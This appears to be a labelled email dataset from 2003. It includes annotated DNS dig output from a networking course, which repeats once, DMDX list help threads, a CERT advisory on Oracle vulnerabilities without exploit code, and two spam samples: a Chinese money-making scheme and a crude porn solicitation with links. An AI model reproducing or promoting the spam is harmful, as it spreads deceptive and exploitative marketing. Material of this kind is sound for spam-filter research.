value:NSTLD.VERISIGN-GRS.COM is an encoded email address which is really: NSTLD@VERISIGN-GRS.COM ------------------------------------------------------------------------- SCENARIO 1 neverland.cs.utexas.edu% dig ibm.com mx ; <<>> DiG 2.0 <<>> ibm.com mx ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6 ;; flags: qr aa rd ra ; Ques: 1, Ans: 1, Auth: 4, Addit: 4 ;; QUESTIONS: ;; ibm.com, type = MX, class = IN ;; ANSWERS: ibm.com. 600 MX 0 ns.watson.ibm.com. ;; AUTHORITY RECORDS: ibm.com. 242 NS ns.watson.ibm.com. ibm.com. 242 NS ns.austin.ibm.com. ibm.com. 242 NS ns.almaden.ibm.com. ibm.com. 242 NS internet-server.zurich.ibm.com. ;; ADDITIONAL RECORDS: ns.watson.ibm.com. 127721 A 129.34.20.80 ns.austin.ibm.com. 222 A 192.35.232.34 ns.almaden.ibm.com. 7102 A 198.4.83.35 internet-server.zurich.ibm.com. 1163 A 195.176.20.204 ;; Sent 1 pkts, answer found in time: 26 msec ;; FROM: neverland.cs.utexas.edu to SERVER: default -- 128.83.139.9 ;; WHEN: Tue Feb 18 16:44:39 2003 ;; MSG SIZE sent: 25 rcvd: 222 ------------------------------------------------------------------------- SCENARIO 2 neverland.cs.utexas.edu% dig @ns.almaden.ibm.com www.ibm.com any ; <<>> DiG 2.0 <<>> @ns.almaden.ibm.com www.ibm.com any ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 10 ;; flags: qr aa rd ; Ques: 1, Ans: 5, Auth: 4, Addit: 4 ;; QUESTIONS: ;; www.ibm.com, type = ANY, class = IN ;; ANSWERS: www.ibm.com. 1800 A 129.42.16.99 www.ibm.com. 1800 A 129.42.17.99 www.ibm.com. 1800 A 129.42.18.99 www.ibm.com. 1800 A 129.42.19.99 www.ibm.com. 1800 MX 10 ns.watson.ibm.com. ;; AUTHORITY RECORDS: ibm.com. 600 NS ns.watson.ibm.com. ibm.com. 600 NS ns.austin.ibm.com. ibm.com. 600 NS ns.almaden.ibm.com. ibm.com. 600 NS internet-server.zurich.ibm.com. ;; ADDITIONAL RECORDS: ns.watson.ibm.com. 600 A 129.34.20.80 ns.austin.ibm.com. 86400 A 192.35.232.34 ns.almaden.ibm.com. 86400 A 198.4.83.35 internet-server.zurich.ibm.com. 1800 A 195.176.20.204 ;; Sent 1 pkts, answer found in time: 54 msec ;; FROM: neverland.cs.utexas.edu to SERVER: ns.almaden.ibm.com 198.4.83.35 ;; WHEN: Tue Feb 18 16:51:54 2003 ;; MSG SIZE sent: 29 rcvd: 283 ------------------------------------------------------------------------- Scenario 3 neverland.cs.utexas.edu% dig xxxxzzzzzttt.mli ; <<>> DiG 2.0 <<>> xxxxzzzzzttt.mli ;; ->>HEADER<<- opcode: QUERY , status: NXDOMAIN, id: 6 ;; flags: qr aa rd ra ; Ques: 1, Ans: 0, Auth: 1, Addit: 0 ;; QUESTIONS: ;; xxxxzzzzzttt.mli, type = A, class = IN ;; AUTHORITY RECORDS: . 86400 SOA A.ROOT-SERVERS.NET. NSTLD.VERISIGN-GRS.COM. ( 2003021800 ;serial 1800 ;refresh 900 ;retry 604800 ;expire 86400 ) ;minim ;; Sent 1 pkts, answer found in time: 39 msec ;; FROM: neverland.cs.utexas.edu to SERVER: default -- 128.83.139.9 ;; WHEN: Tue Feb 18 16:54:59 2003 ;; MSG SIZE sent: 34 rcvd: 109",0,0 ,,,,"]) by mail.cs.utexas.edu (8.12.3/8.12.3) with ESMTP id h1INGGrj007963 for ; Tue, 18 Feb 2003 17:16:16 -0600 (CST) Received: (from wangf@localhost) by haarlem.cs.utexas.edu (8.12.2/8.12.2/Submit) id h1INGGfW028535; Tue, 18 Feb 2003 17:16:16 -0600 Date: Tue, 18 Feb 2003 17:16:16 -0600 (CST) From: Feng Wang To: Chris Edmondson-Yurkanan Subject: Re: please forward h1 solution In-Reply-To: <200302182221.h1IMLMJ9023333@neverland.cs.utexas.edu> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY=""1400916880-1559254401-1045610128=:28523 "" Content-ID: Status: ORr This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1400916880-1559254401-1045610128=:28523 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: I attached the txt file. Please check if it's OK. Thanks, Feng --1400916880-1559254401-1045610128=:28523 Content-Type: TEXT/PLAIN; NAME=""soln-1.txt"" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=""soln-1.txt"" CSAgSG13azI6IEFuYWx5emluZyB0aGUgQXBwbGljYXRpb24gbGF5ZXIgZGVz aWduIG9mIE5OVFANCg0KMSkgQSkgVGhlIE5ldHdvcmsgTmV3cyB1c2VyIGFn ..... ..... dXJhdGlvbiBsaXN0IG9mIHdoaWNoIE5OVFAgc2VydmVycyB0byBjb250YWN0 IG9yIGFjY2VwdCBhIGNvbnRhY3QgZnJvbS4NCg== --1400916880-1559254401-1045610128=:28523-- THREE ANNOTATED DNS QUERIES with RESPONSES Scenario 1 DNS query for the MX records of ibm.com (for anyone whose email was @ibm.com). Based on the measured response time I can deduce that the info was not in our local name server's cache. I repeated it immediately afterwards, and the response time was 0 msec and thus was retrieved from the L.N.S. cache. Note the authoritative section with all the 4 Authoritative Name Servers that have the longest match to the domain name specified in the question. And note that the 4 additional answers are all A resource records of names provided in the answers or the authoritative sections. Scenario 2 DNS query that is NOT to our local name server but is instead being sent to an authoritative name server found in one of the NS records.... Thus if I (or a local name server) had sent an iterative query data to the local name server and if it did not have a match, then it would send me back an NS record in the authoritative section, with the hostname of an authoritative name server that will help me find my answer. Scenario 3 DNS query to our local name server of a ""mistyped"" name, which based on the delay we know that it was sent to another name server,which by definition would be 1 of the root name servers. The SOA resource record is always sent back when there is no answer, and it indicates which name server is THE official name server that should have this data if anyone would.... The SOA RR contains the email address of someone to contact to ask about this data or knows why it has been deleted. The SOA value:NSTLD.VERISIGN-GRS.COM is an encoded email address which is really: NSTLD@VERISIGN-GRS.COM ------------------------------------------------------------------------- SCENARIO 1 neverland.cs.utexas.edu% dig ibm.com mx ; <<>> DiG 2.0 <<>> ibm.com mx ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6 ;; flags: qr aa rd ra ; Ques: 1, Ans: 1, Auth: 4, Addit: 4 ;; QUESTIONS: ;; ibm.com, type = MX, class = IN ;; ANSWERS: ibm.com. 600 MX 0 ns.watson.ibm.com. ;; AUTHORITY RECORDS: ibm.com. 242 NS ns.watson.ibm.com. ibm.com. 242 NS ns.austin.ibm.com. ibm.com. 242 NS ns.almaden.ibm.com. ibm.com. 242 NS internet-server.zurich.ibm.com. ;; ADDITIONAL RECORDS: ns.watson.ibm.com. 127721 A 129.34.20.80 ns.austin.ibm.com. 222 A 192.35.232.34 ns.almaden.ibm.com. 7102 A 198.4.83.35 internet-server.zurich.ibm.com. 1163 A 195.176.20.204 ;; Sent 1 pkts, answer found in time: 26 msec ;; FROM: neverland.cs.utexas.edu to SERVER: default -- 128.83.139.9 ;; WHEN: Tue Feb 18 16:44:39 2003 ;; MSG SIZE sent: 25 rcvd: 222 ------------------------------------------------------------------------- SCENARIO 2 neverland.cs.utexas.edu% dig @ns.almaden.ibm.com www.ibm.com any ; <<>> DiG 2.0 <<>> @ns.almaden.ibm.com www.ibm.com any ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 10 ;; flags: qr aa rd ; Ques: 1, Ans: 5, Auth: 4, Addit: 4 ;; QUESTIONS: ;; www.ibm.com, type = ANY, class = IN ;; ANSWERS: www.ibm.com. 1800 A 129.42.16.99 www.ibm.com. 1800 A 129.42.17.99 www.ibm.com. 1800 A 129.42.18.99 www.ibm.com. 1800 A 129.42.19.99 www.ibm.com. 1800 MX 10 ns.watson.ibm.com. ;; AUTHORITY RECORDS: ibm.com. 600 NS ns.watson.ibm.com. ibm.com. 600 NS ns.austin.ibm.com. ibm.com. 600 NS ns.almaden.ibm.com. ibm.com. 600 NS internet-server.zurich.ibm.com. ;; ADDITIONAL RECORDS: ns.watson.ibm.com. 600 A 129.34.20.80 ns.austin.ibm.com. 86400 A 192.35.232.34 ns.almaden.ibm.com. 86400 A 198.4.83.35 internet-server.zurich.ibm.com. 1800 A 195.176.20.204 ;; Sent 1 pkts, answer found in time: 54 msec ;; FROM: neverland.cs.utexas.edu to SERVER: ns.almaden.ibm.com 198.4.83.35 ;; WHEN: Tue Feb 18 16:51:54 2003 ;; MSG SIZE sent: 29 rcvd: 283 ------------------------------------------------------------------------- Scenario 3 neverland.cs.utexas.edu% dig xxxxzzzzzttt.mli ; <<>> DiG 2.0 <<>> xxxxzzzzzttt.mli ;; ->>HEADER<<- opcode: QUERY , status: NXDOMAIN, id: 6 ;; flags: qr aa rd ra ; Ques: 1, Ans: 0, Auth: 1, Addit: 0 ;; QUESTIONS: ;; xxxxzzzzzttt.mli, type = A, class = IN ;; AUTHORITY RECORDS: . 86400 SOA A.ROOT-SERVERS.NET. NSTLD.VERISIGN-GRS.COM. ( 2003021800 ;serial 1800 ;refresh 900 ;retry 604800 ;expire 86400 ) ;minim ;; Sent 1 pkts, answer found in time: 39 msec ;; FROM: neverland.cs.utexas.edu to SERVER: default -- 128.83.139.9 ;; WHEN: Tue Feb 18 16:54:59 2003 ;; MSG SIZE sent: 34 rcvd: 109",0,0 ,,,,"]) by mail.cs.utexas.edu (8.12.3/8.12.3) with ESMTP id h1INGGrj007963 for ; Tue, 18 Feb 2003 17:16:16 -0600 (CST) Received: (from wangf@localhost) by haarlem.cs.utexas.edu (8.12.2/8.12.2/Submit) id h1INGGfW028535; Tue, 18 Feb 2003 17:16:16 -0600 Date: Tue, 18 Feb 2003 17:16:16 -0600 (CST) From: Feng Wang To: Chris Edmondson-Yurkanan Subject: Re: please forward h1 solution In-Reply-To: <200302182221.h1IMLMJ9023333@neverland.cs.utexas.edu> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY=""1400916880-1559254401-1045610128=:28523 "" Content-ID: Status: ORr This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1400916880-1559254401-1045610128=:28523 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: I attached the txt file. Please check if it's OK. Thanks, Feng --1400916880-1559254401-1045610128=:28523 Content-Type: TEXT/PLAIN; NAME=""soln-1.txt"" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=""soln-1.txt"" CSAgSG13azI6IEFuYWx5emluZyB0aGUgQXBwbGljYXRpb24gbGF5ZXIgZGVz aWduIG9mIE5OVFANCg0KMSkgQSkgVGhlIE5ldHdvcmsgTmV3cyB1c2VyIGFn ..... ..... dXJhdGlvbiBsaXN0IG9mIHdoaWNoIE5OVFAgc2VydmVycyB0byBjb250YWN0 IG9yIGFjY2VwdCBhIGNvbnRhY3QgZnJvbS4NCg== --1400916880-1559254401-1045610128=:28523--",0,0 Joseph Lorenzo Hall ,linuxusers@astron.Berkeley.EDU,"Tue, 18 Feb 2003 18:01:11 -0800",Extracting Data from Plots...," Carl, you are truly and inspiration... [When I asked about programs to extract points from a scanned figure, Carl said, ""You can do that in IDL.""] So I wrote a simple program to do this in IDL... if you've ever struggled with a damn ruler to extract points from a figure, do so no longer... Behold: http://astron.berkeley.edu/~jhall/export/extract_points.pro ------------------------------------------------------------------ Joseph Lorenzo Hall jhall@astro.berkeley.edu ""Knowledge is experience. Everything else is just information."" --Albert Einstein ",0,1 Billi Randall ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Feb 2003 09:12:35 +0000",[DMDX] PIO cards and laptops,"Hi all, Has anyone used the new Computerboards PIO card to connect switch boxes on laptops running XP yet? If yes does it work properly? The new name for it is PCCard D24/CTR3 and the connection has changed making the purchase of a new cable compulsory. Billi Randall Centre for Speech and Language, Department of Experimental Psychology, University of Cambridge ",0,0 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Feb 2003 11:45:45 +0100",[DMDX] Re: Measurement Computing PCI DIO-24 - drivers needed?,"Dear Jonathan I'm extremely sorry to have sent attachments and buggered everything. It's a while since I spoke to the list and I completely forgot about not sending attachments. In your anger, I doubt whether you read my message. Would you be prepared to forgive me and read the message now? I'm trying to make a file with zillion responses. I'm having great problems, and I promise I've tried very hard to test many alternatives. One preliminary problem is that DM is telling me when the subject has stopped pressing the button as well as the onset time. How do I suppress that? The main question is this. Each trial has two parts, and I've tried to do each trial as one as well as to split it into two. the subject has to give a binary decision first on an image, and then type the image's name. I place BELOW my embarassingly incorrect file for your perusal. At the moment, I've got an item presenting the image and then a second grouped item asking ""mot?"" for the name. I don't care here if there are no times at all, I just want to know what name the subject wants to give the image. My file at present has a clock on indicator in the second part, because leaving it out didn't seem to work at all. When I test out what I've done I can't get the image to go away when I respond. Many thanks for your help. Virginia $0 ""Items d'essai. Quand prêt, appuyez sur la barre espace."" ; -250 %15 / * ""cerise"" ; =250 %15 * “Mot?” ; +250 %15 / * ""accordéo"" ; =250 %15 * “Mot?” ; 0 ""Items de test. Quand prêt, appuyez sur la barre espace."" ; +250 %15 / * ""avion"" ; =250 %15 * “Mot?” ; $ -001 %15 / * ""enclume"" ; =002 %15 * “Mot?” ; +003 %15 / * ""artichaut"" ; =004 %15 * “Mot?” ; -005%15 / * ""crocodile"" ; =006 %15 * “Mot?” ; +007 %15 / * ""abeille"" ; =008 %15 * “Mot?” ; $0 LB ""Fin de cette partie, merci."" ; $",0,0 ���դh ,dmdx@psy1.psych.arizona.edu,"Wed, 19 Feb 2003 15:23:52 +0800",2010�~�W����d�ʪ��N���D�y,2010年上網刷卡購物將成主流 專家預估2010年上網刷卡購物將成主流，55%的消費營業額來自網路...經營之神王先生都投入的市場商機，你還猶豫嗎?快一起來打拼吧！ 這不是傳直銷！現在大家都在透過網路賺錢，當然我也不例外，但一般我們都是沒有貨源，及要架設一有金流及物流功能的網站又要花不少錢，但今天我發現一網站可解決此問題，我們只要負責行銷，金流及物流由系統處理，加入此系統，你可選擇免費或付費，免費的獎金為25%~70%(看你的業績而定)，付費的獎金為80%，剛開始我也是選擇免費的，在網路上拍賣，及告訴朋友我的購物網站，我現在已改為付費的了，以賺取更多的利潤，其實像我們一般人下班回家後都是在看電視、發呆、上網、找朋友聊天...，為何不將此時間拿來兼差，一個不用花錢的事業(只需花時間)，邀請你一同來研究從事。 http://98.to/gomyestore168/ 如你沒興趣從事，有空也請常至我的購物網站逛逛。 龍哥的購物網站—錢龍電子商務館 http://98.to/gomyestore/ 如有疑問，歡迎寫信至我的信箱，大家一同研究。 estore110@yahoo.com.tw 如有打擾，敬請見諒！,1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 Feb 2003 08:40:14 -0700",[DMDX] Re: PIO cards and laptops,"At 09:12 AM 2/19/2003 +0000, you wrote: >Hi all, > >Has anyone used the new Computerboards PIO card to connect switch boxes on >laptops running XP yet? If yes does it work properly? The new name for it >is PCCard D24/CTR3 and the connection has changed making the purchase of a >new cable compulsory. It's actually not a new card, originally it was a PCMCIA card but when PCMCIA got renamed to PCCARD they renamed the card too. Laptops have never taken the normal interface cards with a DB37 on them, there's no way they could physically fit in the machine. We've used the PCMCIA/PCCARD interface card in a laptop running windows ME but don't see any reason they wouldn't work in XP given all the TLC I put in getting XP drivers to work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When a Banker jumps out of a window, jump after him -- that's where the money is. - Robespierre ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 Feb 2003 08:58:37 -0700",[DMDX] Re: Measurement Computing PCI DIO-24 - drivers needed?,"At 11:45 AM 2/19/2003 +0100, you wrote: >Dear Jonathan > > I'm extremely sorry to have sent attachments and buggered > everything. It's a while since I spoke to the list and I completely > forgot about not sending attachments. In your anger, I doubt whether you > read my message. Would you be prepared to forgive me and read the message now? > > I'm trying to make a file with zillion responses. I'm having > great problems, and I promise I've tried very hard to test many > alternatives. One preliminary problem is that DM is telling me when the > subject has stopped pressing the button as well as the onset time. How > do I suppress that? You use to validate the keys you want to record like it says in the documentation. > The main question is this. Each trial has two parts, and I've > tried to do each trial as one as well as to split it into two. the > subject has to give a binary decision first on an image, and then type > the image's name. > > I place BELOW my embarassingly incorrect file for your perusal. > > At the moment, I've got an item presenting the image and then a > second grouped item asking ""mot?"" for the name. I don't care here if > there are no times at all, I just want to know what name the subject > wants to give the image. My file at present has a clock on indicator in > the second part, because leaving it out didn't seem to work at all. You'll probably have to turn on and off through the item file. Hopefully a french KB won't screw it up too much. You'll probably have to tell DMDX the name of the enter key with . Note that using is going to validate the normal typing keys but you'll need to add your response keys too. > When I test out what I've done I can't get the image to go away > when I respond. Because you specify , no feedback, no clearing of the screen. You might want to try . However feedback doesn't work well with anyway unless you turn on , but you'll want to toggle that on and off too as typed responses are probably going to get blasted by . Also is best if there's feedback so the subject can see what they're typing. So you'll need something like this: -250 %15 / * ""cerise"" ; =250 %15 * “Mot?” ; > Many thanks for your help. > > Virginia > > > > >$0 ""Items d'essai. Quand prêt, appuyez sur la barre espace."" ; > >-250 %15 / * ""cerise"" ; >=250 %15 * “Mot?” ; >+250 %15 / * ""accordéo"" ; >=250 %15 * “Mot?” ; > >0 ""Items de test. Quand prêt, appuyez sur la barre espace."" ; > >+250 %15 / * ""avion"" ; >=250 %15 * “Mot?” ; $ > >-001 %15 / * ""enclume"" ; >=002 %15 * “Mot?” ; >+003 %15 / * ""artichaut"" ; >=004 %15 * “Mot?” ; >-005%15 / * ""crocodile"" ; >=006 %15 * “Mot?” ; >+007 %15 / * ""abeille"" ; >=008 %15 * “Mot?” ; > >$0 LB ""Fin de cette partie, merci."" ; $ > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When a Banker jumps out of a window, jump after him -- that's where the money is. - Robespierre",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 19 Feb 2003 15:14:35 -0500",CERT Advisory CA-2003-05 Multiple Vulnerabilities in Oracle Servers," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-05 Multiple Vulnerabilities in Oracle Servers Original release date: February 19, 2003 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running Oracle9i Database (Release 1 and 2) * Systems running Oracle8i Database v 8.1.7 * Systems running Oracle8 Database v 8.0.6 * Systems running Oracle9i Application Server (Release 9.0.2 and 9.0.3) Overview Multiple vulnerabilities exist in Oracle software that may lead to execution of arbitrary code; the ability to read, modify, or delete information stored in underlying Oracle databases; or denial of service. All of these vulnerabilites were discovered by Next Generation Security Software Ltd. I. Description Multiple vulnerabilities exist in Oracle9i Application Server, Oracle9i Database, and Oracle8i Database. The majority of these vulnerabilities are buffer overflows. Oracle has published Security Alerts describing these vulnerabilities. If you use Oracle products listed in the ""Systems Affected"" section of this document, we strongly encourage you to review the following Oracle Security Alerts and apply patches as appropriate: * Buffer Overflow in DIRECTORY parameter of Oracle9i Database Server http://otn.oracle.com/deploy/security/pdf/2003alert48.pdf * Buffer Overflow in TZ_OFFSET function of Oracle9i Database Server http://otn.oracle.com/deploy/security/pdf/2003alert49.pdf * Buffer Overflow in TO_TIMESTAMP_TZ function of Oracle9i Database Server http://otn.oracle.com/deploy/security/pdf/2003alert50.pdf * Buffer Overflow in ORACLE.EXE binary of Oracle9i Database Server http://otn.oracle.com/deploy/security/pdf/2003alert51.pdf * Two Vulnerabilities in Oracle9i Application Server http://otn.oracle.com/deploy/security/pdf/2003alert52.pdf NGSSoftware Insight Security Research Advisories describing these issues are listed below: * Oracle9i Application Server Format String Vulnerability http://www.nextgenss.com/advisories/ora-appservfmtst.txt * Oracle TO_TIMESTAMP_TZ Remote System Buffer Overrun http://www.nextgenss.com/advisories/ora-tmstmpbo.txt * ORACLE bfilename function buffer overflow vulnerability http://www.nextgenss.com/advisories/ora-bfilebo.txt * Oracle TZ_OFFSET Remote System Buffer Overrun http://www.nextgenss.com/advisories/ora-tzofstbo.txt * Oracle unauthenticated remote system compromise http://www.nextgenss.com/advisories/ora-unauthrm.txt The CERT/CC has published vulnerability notes for each of these issues as well. The vulnerability in Oracle's mod_dav module (VU#849993) has been as assigned CVE ID CAN-2002-0842. II. Impact Depending on the vulnerability being exploited, an attacker may be able to execute arbitrary code; read, modify, or delete information stored in underlying Oracle databases; or cause a denial of service. The vulnerabilities in ""ORACLE.EXE"" (VU#953746) and the WebDAV modules (VU#849993, VU#511194) may be exploited prior to authentication. III. Solution Apply a patch Solutions for specific vulnerabilities can be found in the above referenced Oracle Security Alerts, NGSSoftware Insight Security Research Advisories, and individual CERT/CC Vulnerability Notes. Mitigation Strategies Until a patch can be applied, the CERT/CC recommends that vulnerable sites * disable unnecessary Oracle services * run Oracle services with the least privilege * restrict network access to Oracle services Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated and the changes are noted in the revision history. If a vendor is not listed below, we have not received their comments. Oracle Corporation Please see the following Oracle Security Alerts: * http://otn.oracle.com/deploy/security/pdf/2003alert48.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert49.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert50.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert51.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert52.pdf Appendix B. References * http://otn.oracle.com/deploy/security/pdf/2003alert48.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert49.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert50.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert51.pdf * http://otn.oracle.com/deploy/security/pdf/2003alert52.pdf * http://www.nextgenss.com/advisories/ora-appservfmtst.txt * http://www.nextgenss.com/advisories/ora-tmstmpbo.txt * http://www.nextgenss.com/advisories/ora-bfilebo.txt * http://www.nextgenss.com/advisories/ora-tzofstbo.txt * http://www.nextgenss.com/advisories/ora-unauthrm.txt * http://www.kb.cert.org/vuls/id/743954 * http://www.kb.cert.org/vuls/id/953746 * http://www.kb.cert.org/vuls/id/663786 * http://www.kb.cert.org/vuls/id/840666 * http://www.kb.cert.org/vuls/id/511194 * http://www.kb.cert.org/vuls/id/849993 * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0842 _________________________________________________________________ The CERT/CC acknowledges both Next Generation Security Software Ltd. and Oracle for providing information upon which this document is based. _________________________________________________________________ Feedback can be directed to the author: Ian A. Finlay. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-04.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. 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Revision History February 19, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPlPkcmjtSoHZUTs5AQGFkAQAmTTDL3Tyn818VW59c0Ec5Tt+N78TKs8y h6Mnp4gkZuFLaPXju8zw1oNat4HoR7JWefBo7Lj6QFMf9HANlg7NexYmmQZSupL/ TZrFF6Nisfg/jQ7H6hPH/kajm/siJO6BuPgQIyEWtHkrJ6ce4jgcPGmuJsLzuUW3 N4QKY3gFD2A= =nkbt -----END PGP SIGNATURE----- ",0,1 Concepcion Perdue ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Feb 2003 11:48:50 -0700",fine-looking russiann Eighteens!," Do you want well-favored Bitches? http://playmateplay.info/fpcf.htm?iSPhfd.fX,hj U,N,,$,U,B,S,C,R,I,B,E http://playmateplay.info ",1,1 dmaclachlan@auburn.maine.com,Raghuveer Akula ,"Wed, 19 Feb 2003 16:56:28 -0500",Re: Permission to use your picture,"Dear Mr. Akula, You're more than welcome to use it, so long as you either put the credits with the image, or provide a link to the site :) Have a great day and good luck on your project! With kind regards, Dave MacLachlan [ Charset ISO-8859-1 unsupported, converting... ] > Mr. MacLachlan, > > I am a student at the University of Texas and working on a school project. One of my tasks is to create a webpage for my team. I liked the picture of the guru on this URL http://www.cloningaround.com/display.php3/144 > > With your permission I would like to use this picture on our team website. > > Sincerely, > Raghu Akula -- ====================================================================== David S. MacLachlan http://www.JustAdComics.com/ http://www.CloningAround.com/ ====================================================================== ",0,1 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 11:11:45 +0100",[DMDX] Zillion typed responses,"Dear Jonathan Thanks so much for your advice. I didn't understand about being able to switch on and off the two modes. Of course, something like you suggested doesn't work yet. I thought I had better get a simple zillion typed response file going before I tried the switching. So I made this. $0 ""Items d'essai. Quand prêt, appuyez sur la barre espace.""; =250 %20 / * ""avion"" ; $ 0 ""Items de test. Quand prêt, appuyez sur la barre espace."" ; =250 %20 / * ""crocodile"" ; =250 %20 / * ""accordéon"" ; $0 LB ""Fin de cette partie, merci."" ; $ One problem is that the syntax test tells me that it can't find +delete. It tells me that early on and also just before it stops. Is there something built in that wants this english keyboard name? if so, that would mean zil could only be used with english keyboards. (I tried telling the computer that the keyboard was a default american one, and put id = keyboard, but that didn't parse.) It also says that it can't find +entre and (+retour arrire) (leaves out the accents). But these are the button names for enter and for backspace. In other tests it has no trouble with maj gauche and maj droit. Are the accents in these names bothering it? When one does the PIO test, it gives numbers as well as french names for the buttons, so at one point I tried putting for example #21, but it didn't like that. When I try to specify buttons which on the french keyboard are where american numbers are, e.g., é where 2 is, it doesn't find them either. Also, you told me that avoiding getting response off times was done by specifying permissible buttons. So I have to do that even though the syntax test lists all the main buttons and says they are already mapped? Thanks very much for your patience. Virginia",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 09:02:13 -0700",[DMDX] Re: Zillion typed responses,"At 11:11 AM 2/20/2003 +0100, you wrote: Dear Jonathan         Thanks so much for your advice.  I didn't understand about being able to switch on and off the two modes.  Of course, something like you suggested doesn't work yet.  I thought I had better get a simple zillion typed response file going before I tried the switching.  So I made this.     $0 ""Items d'essai.  Quand prêt, appuyez sur la barre espace.""; =250 %20 / * ""avion"" ; $ 0 ""Items de test.  Quand prêt, appuyez sur la barre espace."" ; =250 %20 /   * ""crocodile"" ; =250 %20 /   * ""accordéon"" ; $0 LB ""Fin de cette partie, merci."" ; $         One problem is that the syntax test tells me that it can't find +delete.  It tells me that early on and also just before it stops.  Is there something built in that wants this english keyboard name?   Yeah, the name +delete.  Looks like is gonna take some work to work on a french keyboard.  Surprised no one else has tried this already.   if so, that would mean zil could only be used with english keyboards.  (I tried telling the computer that the keyboard was a default american one, and put id = keyboard, but that didn't parse.)   It should ignore keys it can't find.  Gonna make it hard to delete mistakes though.         It also says that it can't find +entre and (+retour arrire) (leaves out the accents).  But these are the button names for enter and for backspace.  In other tests it has no trouble with maj gauche and maj droit.  Are the accents in these names bothering it?   Yep.  Does TimeDX display accents when it displays the key names?   When one does the PIO test, it gives numbers as well as french names for the buttons, so at one point I tried putting for example #21, but it didn't like that.  When I try to specify buttons which on the french keyboard are where american numbers are, e.g., é where 2 is, it doesn't find them either.   You use to use numbers.  I'll have to build a version of that uses the numbers too.         Also, you told me that avoiding getting response off times was done by specifying permissible buttons.  So I have to do that even though the syntax test lists all the main buttons and says they are already mapped?   They're probably mapped by the keyword so they're safe.  But you will have to signal your response keys as being valid keys.                                                /""\\  -jonathan (j.c.f.)                            \\ /                                                 X     ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL  / \\ When a Banker jumps out of a window, jump after him -- that's where the money is.                                                   -  Robespierre",0,0 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Feb 2003 17:57:51 +0100",[DMDX] Zillion typed responses again,"Dear Jonathan Thanks very much for your comments. yes, the timedx test lists the button names with accents in them. I've now tried a zil file without the enter key option. the syntax check still tells me that it can't find +delete but fortunately proceeds anyway. So this little file at least works (hooray), and stores what the subject typed, though i haven't got the please-go-away timing right yet. $0 ""Items d'essai. Quand prêt, appuyez sur la barre espace.""; =250 %20 / * ""avion"" ; $ 0 ""Items de test. Quand prêt, appuyez sur la barre espace."" ; =250 %20 / * ""crocodile"" ; =250 %20 / * ""accordéon"" ; $0 LB ""Fin de cette partie, merci."" ; $ I found it interesting that one can switch between french and english keyboards in word or in an email say, but having tried to leave the keyboard switched to french, dm still reports for example the press of a button marked q for the french version as an a. So spelling avion gives qvion. It would be bad news if the times were of major importance, but as they are not, I can paper over the keys which are different so that they have english labels. I will also instruct the poor subjects not to spell with accents. As you point out, they can't correct what they have written either, but fortunately for this expt correct spelling is not important. So, we could say that it 'kindof' works. Many thanks once again, Virginia",0,0 